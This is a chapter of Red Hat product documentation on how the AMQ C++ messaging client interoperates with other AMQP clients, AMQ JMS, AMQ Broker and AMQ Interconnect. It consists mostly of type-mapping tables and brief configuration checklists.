"WARC-Concurrent-To": "<urn:uuid:188c3fcc-6ec5-4ce6-9b15-a98a637feb6d>",
"WARC-Date": "2017-08-16T14:03:49Z",
"WARC-IP-Address": "76.74.234.210",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:4RPA2ROATRPA26IZ4RUQQ72AKVCHVSXC",
"WARC-Record-ID": "<urn:uuid:704c77d7-b26b-45e6-9e98-3d2f08f37798>",
"WARC-Target-URI": "https://www.codeproject.com/Questions/373503/Android-onTouchEvent-error-expected",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:98540363-fe42-4326-821d-12236a22d968>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-145-153-186.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-34\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for August 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
35,
70,
81,
83,
118,
128,
129,
264,
265,
281,
315,
378,
416,
441,
442,
511,
536,
537,
552,
581,
613,
650,
676,
709,
735,
737,
786,
835,
837,
877,
880,
883,
886,
889,
891,
893,
950,
954,
958,
962,
1014,
1018,
1022,
1033,
1082,
1086,
1114,
1142,
1151,
1184,
1226,
1231,
1274,
1317,
1322,
1390,
1433,
1466,
1484,
1489,
1562,
1604,
1637,
1655,
1670,
1738,
1771,
1781,
1783,
1807,
1831,
1852,
1860,
1862,
1864,
1866,
1867,
1868,
2001,
2044,
2045,
2046,
2146,
2191,
2192,
2193,
2218,
2240,
2241,
2260,
2285,
2286,
2297,
2298,
2313,
2315,
2320,
2355,
2356,
2367,
2368,
2573,
2587,
2596,
2634,
2638,
2674,
2780,
2814,
2818,
2894,
2932,
2936,
2954,
2992,
2996,
3082,
3173,
3207,
3211,
3254,
3311,
3315,
3367,
3371,
3391,
3401,
3446,
3448,
3463,
3501,
3505,
3548,
3615,
3643,
3644,
3762,
3763,
3783,
3795,
3816,
3817,
3818,
3840,
3888,
3923,
3961,
3983,
3984
],
"line_end_idx": [
35,
70,
81,
83,
118,
128,
129,
264,
265,
281,
315,
378,
416,
441,
442,
511,
536,
537,
552,
581,
613,
650,
676,
709,
735,
737,
786,
835,
837,
877,
880,
883,
886,
889,
891,
893,
950,
954,
958,
962,
1014,
1018,
1022,
1033,
1082,
1086,
1114,
1142,
1151,
1184,
1226,
1231,
1274,
1317,
1322,
1390,
1433,
1466,
1484,
1489,
1562,
1604,
1637,
1655,
1670,
1738,
1771,
1781,
1783,
1807,
1831,
1852,
1860,
1862,
1864,
1866,
1867,
1868,
2001,
2044,
2045,
2046,
2146,
2191,
2192,
2193,
2218,
2240,
2241,
2260,
2285,
2286,
2297,
2298,
2313,
2315,
2320,
2355,
2356,
2367,
2368,
2573,
2587,
2596,
2634,
2638,
2674,
2780,
2814,
2818,
2894,
2932,
2936,
2954,
2992,
2996,
3082,
3173,
3207,
3211,
3254,
3311,
3315,
3367,
3371,
3391,
3401,
3446,
3448,
3463,
3501,
3505,
3548,
3615,
3643,
3644,
3762,
3763,
3783,
3795,
3816,
3817,
3818,
3840,
3888,
3923,
3961,
3983,
3984,
4072
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4072,
"ccnet_original_nlines": 149,
"rps_doc_curly_bracket": 0.005402749869972467,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2150803506374359,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.025957969948649406,
"rps_doc_frac_lines_end_with_ellipsis": 0.046666670590639114,
"rps_doc_frac_no_alph_words": 0.37082818150520325,
"rps_doc_frac_unique_words": 0.5587629079818726,
"rps_doc_mean_word_length": 5.820618629455566,
"rps_doc_num_sentences": 55,
"rps_doc_symbol_to_word_ratio": 0.011124850250780582,
"rps_doc_unigram_entropy": 5.305337905883789,
"rps_doc_word_count": 485,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.11902231723070145,
"rps_doc_frac_chars_dupe_6grams": 0.08714134246110916,
"rps_doc_frac_chars_dupe_7grams": 0.08714134246110916,
"rps_doc_frac_chars_dupe_8grams": 0.01842012070119381,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01842012070119381,
"rps_doc_frac_chars_top_3gram": 0.05100955814123154,
"rps_doc_frac_chars_top_4gram": 0.052426498383283615,
"rps_doc_books_importance": -309.6918640136719,
"rps_doc_books_importance_length_correction": -309.6918640136719,
"rps_doc_openwebtext_importance": -210.11883544921875,
"rps_doc_openwebtext_importance_length_correction": -210.11883544921875,
"rps_doc_wikipedia_importance": -197.57603454589844,
"rps_doc_wikipedia_importance_length_correction": -197.57603454589844
},
"fasttext": {
"dclm": 0.02001732960343361,
"english": 0.6879546642303467,
"fineweb_edu_approx": 1.4882984161376953,
"eai_general_math": 0.01705479994416237,
"eai_open_web_math": 0.17456120252609253,
"eai_web_code": 0.000748280028346926
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-3,114,496,962,964,018,700 | Not a bug Orphanded data in xf_thread_read table
Affected version
XF 2.1.1
AndyB
Well-known member
When a thread is Permanently deleted, I would think the xf_thread_read table would have the data for that thread deleted. Currently it appears the data is orphaned.
199506
Jake B.
Well-known member
Those values get deleted in \XF\Repository\Thread::pruneThreadReadLogs when \XF\Cron\CleanUp::runDailyCleanUp runs
Top | {
"url": "https://xenforo.com/community/threads/orphanded-data-in-xf_thread_read-table.163374/",
"source_domain": "xenforo.com",
"snapshot_id": "crawl=CC-MAIN-2019-18",
"warc_metadata": {
"Content-Length": "45708",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:VQB3M3OQWKJQQC4TPR4IQPGYXVNYODLQ",
"WARC-Concurrent-To": "<urn:uuid:154fcb57-e159-48c7-80c9-53a2535dd920>",
"WARC-Date": "2019-04-26T02:41:12Z",
"WARC-IP-Address": "104.20.78.242",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:DEAZJ65QYPCM6EPZ6AHJKXGBMPYUUFIY",
"WARC-Record-ID": "<urn:uuid:61d12b0f-bee6-40f3-9091-8aaf68794222>",
"WARC-Target-URI": "https://xenforo.com/community/threads/orphanded-data-in-xf_thread_read-table.163374/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:cf13e300-abb8-4212-ac08-2da91eaa6e77>"
},
"warc_info": "isPartOf: CC-MAIN-2019-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-136-233-116.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
49,
50,
67,
76,
77,
83,
84,
102,
267,
268,
275,
277,
278,
286,
287,
305,
420,
422
],
"line_end_idx": [
49,
50,
67,
76,
77,
83,
84,
102,
267,
268,
275,
277,
278,
286,
287,
305,
420,
422,
425
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 425,
"ccnet_original_nlines": 18,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2409638613462448,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.060240961611270905,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2409638613462448,
"rps_doc_frac_unique_words": 0.719298243522644,
"rps_doc_mean_word_length": 5.912280559539795,
"rps_doc_num_sentences": 6,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.6263766288757324,
"rps_doc_word_count": 57,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.10089021176099777,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -6.840794086456299,
"rps_doc_books_importance_length_correction": -6.841682434082031,
"rps_doc_openwebtext_importance": -0.8879883289337158,
"rps_doc_openwebtext_importance_length_correction": -0.8888765573501587,
"rps_doc_wikipedia_importance": -5.77644681930542,
"rps_doc_wikipedia_importance_length_correction": -5.777335166931152
},
"fasttext": {
"dclm": 0.2778870463371277,
"english": 0.9378834962844849,
"fineweb_edu_approx": 1.2404565811157227,
"eai_general_math": 0.0001169399984064512,
"eai_open_web_math": 0.13167190551757812,
"eai_web_code": 0.00043183998786844313
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-5,447,824,427,172,204,000 | 7
$\begingroup$
How would you explain to students the difference between drawing and constructing? "Accuracy" seems to be a go to word, but that's not really what the difference is. I want to say more, but I also don't want to lead answers, so I'll stop here. =)
$\endgroup$
1
• 1
$\begingroup$ It may be helpful to use the word "sketching" to describe drawing by eye. It has more of a connotation of inaccuracy. You could also consider constructing to be "drawing with geometric tools". Not a big deal, but maybe the connotation helps. $\endgroup$
– guest
Commented Apr 19, 2018 at 17:29
2 Answers 2
7
$\begingroup$
I would emphasize the algorithmic nature of a construction over the ad hoc nature of a sketch/drawing. Tell your students that a construction must be accompanied by a specific sequence of steps (a "recipe", if you will) so that, in the future, anyone else could come along and follow that recipe to accomplish the relevant task, as well.
For example, the perpendicular bisector of a line segment can be constructed by following a particular recipe. (See this link for the construction and its proof.) Starting from any line segment, following that recipe will create the perpendicular bisector of that segment. However, any particular sketch/drawing of a perpendicular bisector of a line segment, without any accompanying information, is merely that: a picture of one example. The recipe is the key component of the construction, not any one example of carrying out the construction.
$\endgroup$
0
$\begingroup$
I would say that:
construction yields an exactly reproducible and unambiguous result, of which all properties can be measured as expected (within the accuracy of the instruments used).
$\endgroup$
1
• $\begingroup$ Not only measured, but proven! You don't have to measure if the constructed perpendicular bisector is perpendicular and bisecting if you used the right recipe. $\endgroup$
– Jasper
Commented Apr 20, 2018 at 19:46
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://matheducators.stackexchange.com/questions/13974/drawing-vs-constructing/13978",
"source_domain": "matheducators.stackexchange.com",
"snapshot_id": "CC-MAIN-2024-26",
"warc_metadata": {
"Content-Length": "162972",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:GHN45OF7SIW3B5OLUFYNIDFRLXLBVFSM",
"WARC-Concurrent-To": "<urn:uuid:397d211e-9a1e-4962-ae81-6a07d6cdbcfa>",
"WARC-Date": "2024-06-20T00:19:38Z",
"WARC-IP-Address": "104.18.43.226",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:3C76NNP6RY7S2Q3WQV6IJ65DMHFJRGPI",
"WARC-Record-ID": "<urn:uuid:2f139cba-1535-4290-a51e-87ab11b2868f>",
"WARC-Target-URI": "https://matheducators.stackexchange.com/questions/13974/drawing-vs-constructing/13978",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1ca9c588-5479-48b5-b23a-364d46ee38a1>"
},
"warc_info": "isPartOf: CC-MAIN-2024-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-207\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
16,
17,
264,
265,
277,
279,
285,
557,
569,
605,
606,
618,
619,
621,
635,
636,
974,
975,
1521,
1522,
1534,
1536,
1550,
1551,
1569,
1736,
1737,
1749,
1751,
1941,
1954,
1990,
1991,
2003,
2004,
2120,
2121
],
"line_end_idx": [
2,
16,
17,
264,
265,
277,
279,
285,
557,
569,
605,
606,
618,
619,
621,
635,
636,
974,
975,
1521,
1522,
1534,
1536,
1550,
1551,
1569,
1736,
1737,
1749,
1751,
1941,
1954,
1990,
1991,
2003,
2004,
2120,
2121,
2211
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2211,
"ccnet_original_nlines": 38,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4205816686153412,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011185679584741592,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2281879186630249,
"rps_doc_frac_unique_words": 0.5,
"rps_doc_mean_word_length": 4.839887619018555,
"rps_doc_num_sentences": 20,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.803538799285889,
"rps_doc_word_count": 356,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.04062680900096893,
"rps_doc_frac_chars_dupe_6grams": 0.04062680900096893,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.010446890257298946,
"rps_doc_frac_chars_top_3gram": 0.04004643112421036,
"rps_doc_frac_chars_top_4gram": 0.03017991967499256,
"rps_doc_books_importance": -197.14407348632812,
"rps_doc_books_importance_length_correction": -197.14407348632812,
"rps_doc_openwebtext_importance": -100.55514526367188,
"rps_doc_openwebtext_importance_length_correction": -100.55514526367188,
"rps_doc_wikipedia_importance": -83.65577697753906,
"rps_doc_wikipedia_importance_length_correction": -83.65577697753906
},
"fasttext": {
"dclm": 0.5428124070167542,
"english": 0.9378841519355774,
"fineweb_edu_approx": 2.1679022312164307,
"eai_general_math": 0.005045949947088957,
"eai_open_web_math": 0.28186529874801636,
"eai_web_code": 0.00006138999742688611
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "516.0",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry, Algebraic"
}
},
"secondary": {
"code": "372.7",
"labels": {
"level_1": "Social sciences",
"level_2": "Education",
"level_3": "Education, Elementary and Kindergarten"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "6",
"label": "Indeterminate"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
7,412,717,355,011,276,000 | Akka HTTP
The Akka HTTP modules implement a full server- and client-side HTTP stack on top of akka-actor and akka-stream. It’s not a web-framework but rather a more general toolkit for providing and consuming HTTP-based services. While interaction with a browser is of course also in scope it is not the primary focus of Akka HTTP.
Akka HTTP follows a rather open design and many times offers several different API levels for “doing the same thing”. You get to pick the API level of abstraction that is most suitable for your application. This means that, if you have trouble achieving something using a high-level API, there’s a good chance that you can get it done with a low-level API, which offers more flexibility but might require you to write more application code.
Akka HTTP is structured into several modules:
akka-http-core
A complete, mostly low-level, server- and client-side implementation of HTTP (incl. WebSockets). Includes a model of all things HTTP.
akka-http
Higher-level functionality, like (un)marshalling, (de)compression as well as a powerful DSL for defining HTTP-based APIs on the server-side
akka-http-testkit
A test harness and set of utilities for verifying server-side service implementations
akka-http-jackson
Predefined glue-code for (de)serializing custom types from/to JSON with jackson
Akka HTTP API - Javadoc | {
"url": "http://doc.akka.io/docs/akka-http/current/java/http/index.html",
"source_domain": "doc.akka.io",
"snapshot_id": "crawl=CC-MAIN-2017-04",
"warc_metadata": {
"Content-Length": "30110",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:LXX5YAFFEWUQG4OAKWKIULATCEXVMJWR",
"WARC-Concurrent-To": "<urn:uuid:f51291df-ef7d-42fb-91be-b46311955b1b>",
"WARC-Date": "2017-01-19T00:12:38Z",
"WARC-IP-Address": "52.6.177.37",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:O7CYLJDNPQBA7PQ4NTX56AEF7K3OD62Y",
"WARC-Record-ID": "<urn:uuid:ddf50343-d24e-4689-957c-8f0e2198e531>",
"WARC-Target-URI": "http://doc.akka.io/docs/akka-http/current/java/http/index.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:10b4eb17-b67e-4a3e-8149-1ace17da1945>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-70.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-04\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for January 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
10,
11,
333,
334,
775,
776,
822,
823,
838,
972,
982,
1122,
1140,
1226,
1244,
1324,
1325
],
"line_end_idx": [
10,
11,
333,
334,
775,
776,
822,
823,
838,
972,
982,
1122,
1140,
1226,
1244,
1324,
1325,
1348
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1348,
"ccnet_original_nlines": 17,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3368421196937561,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07017543911933899,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1824561357498169,
"rps_doc_frac_unique_words": 0.6262136101722717,
"rps_doc_mean_word_length": 5.276699066162109,
"rps_doc_num_sentences": 10,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.570079326629639,
"rps_doc_word_count": 206,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.04415823146700859,
"rps_doc_frac_chars_top_3gram": 0.034958600997924805,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -120.1131591796875,
"rps_doc_books_importance_length_correction": -120.11314392089844,
"rps_doc_openwebtext_importance": -71.46217346191406,
"rps_doc_openwebtext_importance_length_correction": -71.46217346191406,
"rps_doc_wikipedia_importance": -50.821964263916016,
"rps_doc_wikipedia_importance_length_correction": -50.8000602722168
},
"fasttext": {
"dclm": 0.020652059465646744,
"english": 0.9029822945594788,
"fineweb_edu_approx": 1.8675572872161865,
"eai_general_math": 0.17808735370635986,
"eai_open_web_math": 0.11420595645904541,
"eai_web_code": 0.9251368641853333
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-3,456,550,499,410,675,700 | Search
Chapter 14. Interoperability
download PDF
This chapter discusses how to use AMQ C++ in combination with other AMQ components. For an overview of the compatibility of AMQ components, see the product introduction.
14.1. Interoperating with other AMQP clients
AMQP messages are composed using the AMQP type system. This common format is one of the reasons AMQP clients in different languages are able to interoperate with each other.
When sending messages, AMQ C++ automatically converts language-native types to AMQP-encoded data. When receiving messages, the reverse conversion takes place.
Note
More information about AMQP types is available at the interactive type reference maintained by the Apache Qpid project.
Table 14.1. AMQP types
AMQP typeDescription
null
An empty value
boolean
A true or false value
char
A single Unicode character
string
A sequence of Unicode characters
binary
A sequence of bytes
byte
A signed 8-bit integer
short
A signed 16-bit integer
int
A signed 32-bit integer
long
A signed 64-bit integer
ubyte
An unsigned 8-bit integer
ushort
An unsigned 16-bit integer
uint
An unsigned 32-bit integer
ulong
An unsigned 64-bit integer
float
A 32-bit floating point number
double
A 64-bit floating point number
array
A sequence of values of a single type
list
A sequence of values of variable type
map
A mapping from distinct keys to values
uuid
A universally unique identifier
symbol
A 7-bit ASCII string from a constrained domain
timestamp
An absolute point in time
Table 14.2. AMQ C++ types before encoding and after decoding
AMQP typeAMQ C++ type before encodingAMQ C++ type after decoding
null
nullptr
nullptr
boolean
bool
bool
char
wchar_t
wchar_t
string
std::string
std::string
binary
proton::binary
proton::binary
byte
int8_t
int8_t
short
int16_t
int16_t
int
int32_t
int32_t
long
int64_t
int64_t
ubyte
uint8_t
uint8_t
ushort
uint16_t
uint16_t
uint
uint32_t
uint32_t
ulong
uint64_t
uint64_t
float
float
float
double
double
double
list
std::vector
std::vector
map
std::map
std::map
uuid
proton::uuid
proton::uuid
symbol
proton::symbol
proton::symbol
timestamp
proton::timestamp
proton::timestamp
Table 14.3. AMQ C++ and other AMQ client types (1 of 2)
AMQ C++ type before encodingAMQ JavaScript typeAMQ .NET type
nullptr
null
null
bool
boolean
System.Boolean
wchar_t
number
System.Char
std::string
string
System.String
proton::binary
string
System.Byte[]
int8_t
number
System.SByte
int16_t
number
System.Int16
int32_t
number
System.Int32
int64_t
number
System.Int64
uint8_t
number
System.Byte
uint16_t
number
System.UInt16
uint32_t
number
System.UInt32
uint64_t
number
System.UInt64
float
number
System.Single
double
number
System.Double
std::vector
Array
Amqp.List
std::map
object
Amqp.Map
proton::uuid
number
System.Guid
proton::symbol
string
Amqp.Symbol
proton::timestamp
number
System.DateTime
Table 14.4. AMQ C++ and other AMQ client types (2 of 2)
AMQ C++ type before encodingAMQ Python typeAMQ Ruby type
nullptr
None
nil
bool
bool
true, false
wchar_t
unicode
String
std::string
unicode
String
proton::binary
bytes
String
int8_t
int
Integer
int16_t
int
Integer
int32_t
long
Integer
int64_t
long
Integer
uint8_t
long
Integer
uint16_t
long
Integer
uint32_t
long
Integer
uint64_t
long
Integer
float
float
Float
double
float
Float
std::vector
list
Array
std::map
dict
Hash
proton::uuid
-
-
proton::symbol
str
Symbol
proton::timestamp
long
Time
14.2. Interoperating with AMQ JMS
AMQP defines a standard mapping to the JMS messaging model. This section discusses the various aspects of that mapping. For more information, see the AMQ JMS Interoperability chapter.
JMS message types
AMQ C++ provides a single message type whose body type can vary. By contrast, the JMS API uses different message types to represent different kinds of data. The table below indicates how particular body types map to JMS message types.
For more explicit control of the resulting JMS message type, you can set the x-opt-jms-msg-type message annotation. See the AMQ JMS Interoperability chapter for more information.
Table 14.5. AMQ C++ and JMS message types
AMQ C++ body typeJMS message type
std::string
TextMessage
nullptr
TextMessage
proton::binary
BytesMessage
Any other type
ObjectMessage
14.3. Connecting to AMQ Broker
AMQ Broker is designed to interoperate with AMQP 1.0 clients. Check the following to ensure the broker is configured for AMQP messaging:
• Port 5672 in the network firewall is open.
• The AMQ Broker AMQP acceptor is enabled. See Default acceptor settings.
• The necessary addresses are configured on the broker. See Addresses, Queues, and Topics.
• The broker is configured to permit access from your client, and the client is configured to send the required credentials. See Broker Security.
14.4. Connecting to AMQ Interconnect
AMQ Interconnect works with any AMQP 1.0 client. Check the following to ensure the components are configured correctly:
• Port 5672 in the network firewall is open.
• The router is configured to permit access from your client, and the client is configured to send the required credentials. See Securing network connections.
Red Hat logoGithubRedditYoutubeTwitter
Learn
Try, buy, & sell
Communities
About Red Hat Documentation
We help Red Hat users innovate and achieve their goals with our products and services with content they can trust.
Making open source more inclusive
